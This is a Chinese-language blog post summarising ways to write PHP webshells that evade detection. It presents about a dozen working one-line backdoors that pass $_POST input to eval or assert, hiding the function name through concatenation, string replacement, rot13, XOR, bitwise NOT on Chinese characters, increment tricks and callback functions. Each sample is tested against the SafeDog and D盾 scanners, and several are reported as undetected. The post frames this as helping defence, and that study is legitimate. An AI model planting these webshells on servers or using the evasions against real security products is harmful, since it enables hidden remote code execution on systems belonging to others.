php webshell各种姿势总结

php webshell各种姿势总结

前言

现在的安全产品冗杂,各个产品对webshell的都有查杀功能,了解webshell的各种姿势有利于我们更好的防护。现在将各种姿势做个总结,能力有限,难免有遗漏之处。

环境

win10
PHP5
Apache 2.4
网站安全狗 V4.0
D盾 2.1.5.4

姿势

eval()和assert()

eval()asser()是最常用的两个函数。eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。那么对于assert()函数来说,当给出的是字符串时,那么assert()会将其当成PHP代码执行。但是这些函数在PHP7后有所改变。

关键字符串“化妆”

拼接

简单的拼接从而绕过直接对eval字符串的检测

<?php
$a = 'ev';
$b = 'al';
$c = $a.$b;
$c($_POST['ameng']);
?>

安全狗检测结果:

D盾检测结果:

下面这段代码从参数接收关键代码,当然如果要是对传入参数检测的话,可能就过不了狗了

<?php 
    ($_=@$_GET[2]).@$_($_POST[1]);	//参数传入?2=assert,密码为1
?>

安全狗检测结果:

无风险

D盾检测结果:

无风险

替换

利用PHP中的一些函数,将字符串中的某个字符或某些字符进行替换,从而绕过关键此检测。利用函数substr_replace()

用法:

substr_replace(string,replacement,start,length)
参数 描述
string 必需。规定要检查的字符串。
replacement 必需。规定要插入的字符串。
start 必需。规定在字符串的何处开始替换。正数 - 在字符串中的指定位置开始替换负数 - 在从字符串结尾的指定位置开始替换0 - 在字符串中的第一个字符处开始替换
length 可选。规定要替换多少个字符。默认是与字符串长度相同。正数 - 被替换的字符串长度负数 - 表示待替换的子字符串结尾处距离 string 末端的字符个数。0 - 插入而非替换
<?php
$a = substr_replace('evxx','al',2);
$a($_POST['ameng']);
?>

安全狗检测结果:

无风险

D盾检测结果:

用法:

strtr(string,from,to)
参数 描述
string 必需。规定要转换的字符串。
from 必需(除非使用数组)。规定要改变的字符。
to 必需(除非使用数组)。规定要改变为的字符。
array 必需(除非使用 fromto)。数组,其中的键名是更改的原始字符,键值是更改的目标字符。
<?php
$a = strtr('e12l','12','va');
$a($_POST['ameng']);
?>

安全狗检测结果:

无风险

D盾检测结果:

str_rot13('riny')编译后的结果即为eval

<?php 
   $Ameng = $_POST['Ameng'];
   @preg_replace('/ad/e','@'.str_rot13('riny').'($Ameng)', 'add');
?>

安全狗检测结果:

无风险

D盾检测结果:

无风险

不过windows自带杀毒软件报毒,哈哈。

截断

用法:

substr(string,start,length)
参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始; 负数 - 在从字符串结尾开始的指定位置开始; 0 - 在字符串中的第一个字符处开始
length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度; 负数 - 从字符串末端返回的长度

意思就是我们可以选择截取一段字符串的特定长度的值

<?php
$a = substr('xxev',2).'al';
$a($_POST['ameng']);
?>

安全狗检测结果:

无风险

D盾检测结果:

异或

如果检测的是字符串,那么我们有没有可能不使用字母和数字来写一个webshell呢?

在PHP中,两个字符串执行异或运算后,其结果还是一个字符串。

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

以上结果是PHP5中的异或结果与PHP7异或结果是不同的。这种姿势在CTF中也出现过利用。由于这个利用手段在很早以前就被P神博客所指出,所以现在的检测产品基本都能查杀到。另外assert()函数在PHP7中无法再使用来执行代码,可以换成eval()

安全狗检测结果:

D盾检测结果:

取反

如下

~('和'{2})-->s
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});	//assert()

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});	//_POST

$_=$$_____;
$____($_[$__]);	// assert($_POST[_]);
?>

安全狗检测结果:

D盾检测结果:

中文字符取反FUUZ脚本:

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

function str_split_unicode($str, $l = 0) {

    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}

$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) {
	echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
 ?>

递增运算符

‘a’++ => ‘b’‘b’++ => ‘c’通过这种方式,我们只需要让a自增就可以得到a-z的任意字符

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>

但是想这种后门,是肯定能被D盾之类的防护产品检测出来的,其包含字符过多,一般是在CTF比赛中用到。

安全狗检测结果:

同时我们也能看到检测的一些特征规则

D盾检测结果:

想必这些都是被收录的后门,所以绕安全狗和D盾的话需要再改变姿势了。

回调函数

回调函数的运用在一段时间里曾被webshell广泛应用。首先,我们需要知道什么是回调函数,回调是什么意思?所谓是回调其实就是间接调用,当PHP调用用户自定义的函数时,必须要通过一个代理函数来进行调用,所以称为回调函数。

array_walk()

array_walk(array,myfunction,parameter...)
参数 描述
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。
<?php
    function Ameng($value,$key){   
        $a = $key.$value;	//拼接
        $a($_POST['x']);
    }
    $b=array("ass"=>"ert");	//$value=ert,$key=ass
    array_walk($b,"Ameng");	//调用自己定义函数,并传入键值对
?>

安全狗检测结果:

无风险

D盾检测结果:

mb_eregi_replace()

mb_eregi_replace( string $pattern , string $replace , string $string [, string $option = "msri" ] )
参数 必需的 描述
pattern 搜索模式,忽略大小写
replace 替换文字。
string 搜索的字符串
option 搜索选项。 有关说明,请参见 mb_regex_set_options()

使用多字节支持替换正则表达式,忽略大小写

<?php
    mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
?>

安全狗检测结果:

无风险

D盾检测结果:

无风险

除此之外还有很多回调函数,当然很多都已经被强大的狗和D盾给拦截了,后续会陆续补上新发现的可用的回调函数

参考链接

posted @ 2021-01-19 21:27  怪味巧克力  阅读(434)  评论(0编辑  收藏  举报